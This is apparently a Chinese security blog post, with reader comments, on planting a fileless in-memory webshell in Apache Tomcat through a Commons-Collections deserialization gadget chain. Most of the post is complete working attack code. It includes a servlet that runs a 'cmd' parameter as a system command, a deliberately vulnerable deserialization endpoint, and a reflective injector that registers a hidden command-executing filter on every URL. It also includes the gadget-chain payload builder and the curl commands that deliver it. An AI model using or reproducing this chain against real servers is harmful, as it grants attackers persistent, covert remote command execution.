Tomcat 内存马学习(二):结合反序列化注入内存马

0x00 前言

说在前面,本文都是参考学习 三梦师傅 和 kingkk师傅的文章的自己学习记录

文章链接:https://xz.aliyun.com/t/7348#toc-3,https://xz.aliyun.com/t/7388#toc-2

前文链接:https://mp.weixin.qq.com/s?__biz=Mzg3OTU3MzI4Mg==&mid=2247484106&idx=1&sn=bf8f8db7a4d07eb3cb9a820154bfa40b&chksm=cf032287f874ab911b21e66aa15e2d9784552b6116904d0a2ca4dc1734dec37e95d4b39e74c0&token=427094966&lang=zh_CN#rd

​ 在上一篇文中我们利用 jsp 来注入我们的内存马,但是严格意义上这其实并不算内存马,只是看起来没了文件而已,因为 Web 服务器中的 jsp 编译器会编译生成对应的 java 文件然后进行编译加载并实例化,所以实际上还是会落地的,如下图:

image-20210407222412250

​ 所以在这篇文章中,我们来学习利用反序列化来实现真正意义上的内存马的注入,本文中会结合 cc11 来进行内存马注入,这样可以实现真正的文件不落地,在上文利用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方,这也是本文学习的一个点

0x01 回显问题

文章链接:https://xz.aliyun.com/t/7348#toc-3,这部分是学习kingkk师傅的文章

由于在 jsp 中内置了 request 和 response 所以我们能直接获取到 ,于是我们可以直接在 response 写我们的回显内容, 但是当我们结合反序列化打的时候,由于注入的是字节码所以我们需要通过一些手段获取到 request 和 response 这样我们才能进行回显

kingkk 师傅的思路是寻找一个静态的可以存储 request 和 response 的变量,因为如果不是静态的话,那么我们还需要获取到对应的实例,最终kingkk 师傅找到了如下位置:

这里 lastServicedRequest 和 lastServicedResponse 都是静态变量

image-20210410155104949

在 ApplicationFilterChain#internalDoFilter 中,发现在 WRAP_SAME_OBJECT 为 true ,就会调用 set 函数将我们的 request 和 response 存放进去,那么 lastServicedRequest 和 lastServicedResponse 是在哪里初始化的呢?

image-20210410161208906

我们看到该文件的最后,发现在静态代码块处会进行一次设置,由于静态代码片段是优先执行的,而且最开始 ApplicationDispatcher.WRAP_SAME_OBJECT 默认为 False ,所以 lastServicedRequest 和 lastServicedResponse 一开始默认为 False

image-20210410173900876

所以我们需要利用反射来修改 WRAP_SAME_OBJECT 为 true ,同时初始化 lastServicedRequest 和 lastServicedResponse ,大致代码如下:

image-20210410174508102

那么这样我们的 request 和 response 就被存放在其中了

这样当我们第二次访问的时候将 response 从 lastServicedResponse 中取出来,然后将我们命令执行的结果直接写在 response 里面就可以了

所以这里的大致思路如下:

  1. 第一次访问利用反射修改特定参数,从而将 request 和 response 存储到 lastServicedRequest 和 lastServicedResponse 中
  2. 第二次访问将我们需要的 request 和 response 取出,从而将结果写入 response 中从而达到回显目的

利用代码:

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@WebServlet("/echo")
@SuppressWarnings("all")
public class Echo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            try {
                Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
                Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
                WRAP_SAME_OBJECT_FIELD.setAccessible(true);
                // 利用反射修改 final 变量 ,不这么设置无法修改 final 的属性
                Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
                f0.setAccessible(true);
                f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);

                Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
                Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
                Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
                lastServicedRequestField.setAccessible(true);
                lastServicedResponseField.setAccessible(true);
                f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
                f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);

                ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
                ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);

                String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;

                if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
                    WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
                    lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
                    lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
                } else if (cmd!=null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    StringBuilder sb = new StringBuilder("");
                    byte[] bytes = new byte[1024];
                    int line = 0;
                    while ((line = inputStream.read(bytes))!=-1){
                        sb.append(new String(bytes,0,line));
                    }
                    Writer writer = lastServicedResponse.get().getWriter();
                    writer.write(sb.toString());
                    writer.flush();
                }

            } catch (Exception e){
                e.printStackTrace();
            }
        }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

第二次访问 /echo 成功回显:

image-20210410190401982

接下来我们来具体看一下这个流程:

由于 WRAP_SAME_OBJECT 默认为 False ,所以在启动阶段 lastServicedRequest 和 lastServicedResponse 为 null

image-20210410183714795

第一次访问 /echo 后 ,此时还没有解析我们的java代码所以 WRAP_SAME_OBJECT 为 False

image-20210410184901237

由于 Globals.IS_SECURITY_ENABLED 默认为 False 所以就会进入 else,在 else 中 this.servlet.service 会来到我们自己的代码处理

image-20210410184949564

来到我们自己的代码处

image-20210410185115874

由于默认为 false 且 lastServicedRequest 和 lastServicedResponse 都为 null,所以会进入我们的 if 判断,在判断中会调用反射来对值进行修改

image-20210410185311309

设置完之后进到 finally,在 finally 中又将 lastServicedRequest 和 lastServicedResponse 设为了 null

ps:这里的 null 和 静态代码片段中的 null 不同,这里是对象

image-20210410185804888

至此第一次访问就结束了,接下来进行第二次也就是我们的命令执行环境

由于第一次中我们利用反射修改了 WRAP_SAME_OBJECT 为 true,所以这里会调用 set 将 request 和 response 进行存入

image-20210410185944336

然后进入下方 else 触发我们自己的代码

image-20210410190053911

在我们的代码中,已正常获取到了我们的 request 和 response ,同时我们的 cmd 也不为 null,所以就来到了执行命令处进行了命令执行,并且将结果直接在 response 中写入

image-20210410190228615

最终获得我们的输出结果

image-20210410190401982

至此我们可以通过将 request 和 response 存在 lastServicedRequest 和 lastServicedResponse 在一定程度下解决了 Tomcat 的回显问题(shiro不行)

接下来让我们来创建一个带有 cc11 的反序列化漏洞环境来学习一下三梦师傅的文章

如果不熟悉 cc11 的话用 cc2 也可以,只要能加载字节码就行了,cc11的分析我简单的写过,感兴趣的师傅可以看看

文章链接:https://www.yuque.com/tianxiadamutou/zcfd4v/th41wx

0x02 漏洞环境

创建一个 Servlet

@WebServlet("/cc")
public class CCServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        InputStream inputStream = (InputStream) req;
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        try {
            objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        resp.getWriter().write("Success");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        InputStream inputStream = req.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        try {
            objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        resp.getWriter().write("Success");
    }
}

在 pom.xml 文件中添加我们的依赖

        <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

ps:这里要把我们的依赖添加到 tomcat 中,不然在我们打反序列化的时候会显示包不存在

image-20210408111330608

0x03 反序列化注入

三梦师傅在kingkk师傅的基础上进行了改进,文章链接:https://xz.aliyun.com/t/7388#toc-2,

这里主要需要执行两步:

第一步将 request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中

第二步从 lastServicedRequest 和 lastServicedResponse 获取到我们的 request 和 response ,然后利用 request 获取到 servletcontext 然后动态注册 Filter

第一步还是和前面的一样将 request 和 response 存入,这一步和上面 kingkk师傅的差不多所以这里不过多赘述了

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/**
 * @author threedr3am
 */
public class Step1  extends AbstractTranslet {

    static {
        try {
            /*刚开始反序列化后执行的逻辑*/
            //修改 WRAP_SAME_OBJECT 值为 true
            Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
            java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
            java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            f.setAccessible(true);
            if (!f.getBoolean(null)) {
                f.setBoolean(null, true);
            }

            //初始化 lastServicedRequest
            c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            f = c.getDeclaredField("lastServicedRequest");
            modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            f.setAccessible(true);
            if (f.get(null) == null) {
                f.set(null, new ThreadLocal());
            }

            //初始化 lastServicedResponse
            f = c.getDeclaredField("lastServicedResponse");
            modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            f.setAccessible(true);
            if (f.get(null) == null) {
                f.set(null, new ThreadLocal());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {

    }
}

第二步,将 request 和 response 进行取出,然后注入我们的filter

Ps:这部分和上篇文章比较相似因为只进行简单的描述

首先将第一步中存入的 request 进行取出

image-20210414150441673

在利用取出的 request 获取到 servletContext 后,就会调用 addFilter 来动态添加

Filter myFilter =new TomcatInject();
javax.servlet.FilterRegistration.Dynamic filterRegistration =
  servletContext.addFilter(filterName,myFilter);

但是由于 Tomcat 只允许在初始化过程中调用该方法,所以当初始化结束的时候再调用该方法就会抛出异常,所以我们需要反射事先进行修改,这样才能进入 else 进行添加

ps:其实这里不一定要调用这个方法,我们也可以直接初始化 FilterDef 这些 然后自行实现就行(就像上一篇中 jsp最后那部分的代码一样)

image-20210414150943193
Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);

调用完 addFilter 之后,进行一些简单的设置

image-20210414155236118

然后利用反射调用 filterStart 来启动我们的 filter,其实就是将我们的 filterConfig 存放到 filterConfigs中

当我们访问拦截的 url 时,会根据与之 URL 对应的 Filter 名称从 FilterConfigs 中找到对应的 FilterConfig 然后添加到 FilterChain 中,最终调用触发

image-20210414160403299

最后将 filtermap移到最前面

ps:这里也可以调用 addFilterMapBefore 方法来移到最前面

image-20210414155539816

至此最终 Poc 如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

/**
 * @author threedr3am
 */
public class TomcatInject extends AbstractTranslet implements Filter {

    /**
     * webshell命令参数名
     */
    private final String cmdParamName = "cmd";
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "KpLi0rn";

    static {
        try {
            ServletContext servletContext = getServletContext();
            if (servletContext != null){
                Field ctx = servletContext.getClass().getDeclaredField("context");
                ctx.setAccessible(true);
                ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

                Field stdctx = appctx.getClass().getDeclaredField("context");
                stdctx.setAccessible(true);
                StandardContext standardContext = (StandardContext) stdctx.get(appctx);

                if (standardContext != null){
                    // 这样设置不会抛出报错
                    Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);

                    Filter myFilter =new TomcatInject();
                    // 调用 doFilter 来动态添加我们的 Filter
                    // 这里也可以利用反射来添加我们的 Filter
                    javax.servlet.FilterRegistration.Dynamic filterRegistration =
                            servletContext.addFilter(filterName,myFilter);

                    // 进行一些简单的设置
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    // 设置基本的 url pattern
                    filterRegistration
                            .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                    new String[]{"/*"});

                    // 将服务重新修改回来,不然的话服务会无法正常进行
                    if (stateField != null){
                        stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
                    }

                    // 在设置之后我们需要 调用 filterstart
                    if (standardContext != null){
                        // 设置filter之后调用 filterstart 来启动我们的 filter
                        Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext,null);

                        /**
                         * 将我们的 filtermap 插入到最前面
                         */

                        Class ccc = null;
                        try {
                            ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                        } catch (Throwable t){}
                        if (ccc == null) {
                            try {
                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                            } catch (Throwable t){}
                        }
                        //把filter插到第一位
                        Method m = Class.forName("org.apache.catalina.core.StandardContext")
                                .getDeclaredMethod("findFilterMaps");
                        Object[] filterMaps = (Object[]) m.invoke(standardContext);
                        Object[] tmpFilterMaps = new Object[filterMaps.length];
                        int index = 1;
                        for (int i = 0; i < filterMaps.length; i++) {
                            Object o = filterMaps[i];
                            m = ccc.getMethod("getFilterName");
                            String name = (String) m.invoke(o);
                            if (name.equalsIgnoreCase(filterName)) {
                                tmpFilterMaps[0] = o;
                            } else {
                                tmpFilterMaps[index++] = filterMaps[i];
                            }
                        }
                        for (int i = 0; i < filterMaps.length; i++) {
                            filterMaps[i] = tmpFilterMaps[i];
                        }
                    }
                }

            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static ServletContext getServletContext()
            throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ServletRequest servletRequest = null;
        /*shell注入,前提需要能拿到request、response等*/
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
        f.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);
        //不为空则意味着第一次反序列化的准备工作已成功
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        //如果不能去到request,则换一种方式尝试获取

        //spring获取法1
        if (servletRequest == null) {
            try {
                c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                Method m = c.getMethod("getRequestAttributes");
                Object o = m.invoke(null);
                c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                m = c.getMethod("getRequest");
                servletRequest = (ServletRequest) m.invoke(o);
            } catch (Throwable t) {}
        }
        if (servletRequest != null)
            return servletRequest.getServletContext();

        //spring获取法2
        try {
            c = Class.forName("org.springframework.web.context.ContextLoader");
            Method m = c.getMethod("getCurrentWebApplicationContext");
            Object o = m.invoke(null);
            c = Class.forName("org.springframework.web.context.WebApplicationContext");
            m = c.getMethod("getServletContext");
            ServletContext servletContext = (ServletContext) m.invoke(o);
            return servletContext;
        } catch (Throwable t) {}
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                         FilterChain filterChain) throws IOException, ServletException {
        System.out.println(
                "TomcatShellInject doFilter.....................................................................");
        String cmd;
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

利用 cc11 来进行注入

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class CC11Template {

    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes();
        byte[][] targetByteCodes = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field f0 = templates.getClass().getDeclaredField("_bytecodes");
        f0.setAccessible(true);
        f0.set(templates,targetByteCodes);

        f0 = templates.getClass().getDeclaredField("_name");
        f0.setAccessible(true);
        f0.set(templates,"name");

        f0 = templates.getClass().getDeclaredField("_class");
        f0.setAccessible(true);
        f0.set(templates,null);

        // 利用反射调用 templates 中的 newTransformer 方法
        InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        // 我们要设置 HashSet 的 map 为我们的 HashMap
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[])f2.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);

        // 在 invoke 之后,
        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer,"newTransformer");

        try{
          //ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
            outputStream.writeObject(hashset);
            outputStream.close();

        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static byte[] getBytes() throws IOException {
      //    第一次
//        InputStream inputStream = new FileInputStream(new File("./TomcatEcho.class"));
      //  第二次  
      InputStream inputStream = new FileInputStream(new File("./TomcatInject.class"));

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }
}

然后利用 curl 进行注入即可

首先注入 cc11Step1.ser

curl "http://localhost:8080/cc" --data-binary "@/Users/xxx/xxx/cc11Step1.ser"

image-20210414160527168

然后注入 cc11Step2.ser

curl "http://localhost:8080/cc" --data-binary "@/Users/xxx/xxx/cc11Step2.ser"

image-20210414160630476

注入成功 有回显

image-20210414160706594

0x05 总结

本文学习了一下师傅们的思路,不过本文提到的在shiro中无法适用,别的方法打算在 shiro那块进行学习

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474966&idx=1&sn=1c75686865f7348a6b528b42789aeec8&scene=21#wechat_redirect

https://xz.aliyun.com/t/7388#toc-2

https://xz.aliyun.com/t/7348#toc-3

点赞
  1. 小木头说道:

    怎么不更新语雀了?

    1. KpLi0rn说道:

      语雀和博客是同步更新的,知识最近没怎么写文章,在准备后面入职的事情呜呜

  2. Vicl1fe说道:

    师傅,代码中的TomcatEcho.class是哪里来的,没看明白

    1. KpLi0rn说道:

      TomcatEcho 那个是用来将request 和 response 存入,然后第二次 TomcatInject 获取存入的 request 和 response 从而进行命令执行,不过这种方法已过时了,Tomcat现在有较为通用的利用方式,即遍历线程来进行获取,师傅可以去关注一下通用的利用方式

      1. Vicl1fe说道:

        好的,谢谢

  3. 😎说道:

    师傅我用tomcat10版本试验,将dispatcherWrapsSameObject(Wrap_Same_Object)用setBoolean改成true时,会爆can not set boolean field xxx to java.lang.class错误,网上找了都没有解决,不知道是啥问题

    1. KpLi0rn说道:

      Tomcat10 一些结构发生了变化,师傅可以尝试一下9这种,还有就是这个其实不是最优解,有一条比较好用的链我后面写一篇文章介绍一下

发表评论

电子邮件地址不会被公开。必填项已用 * 标注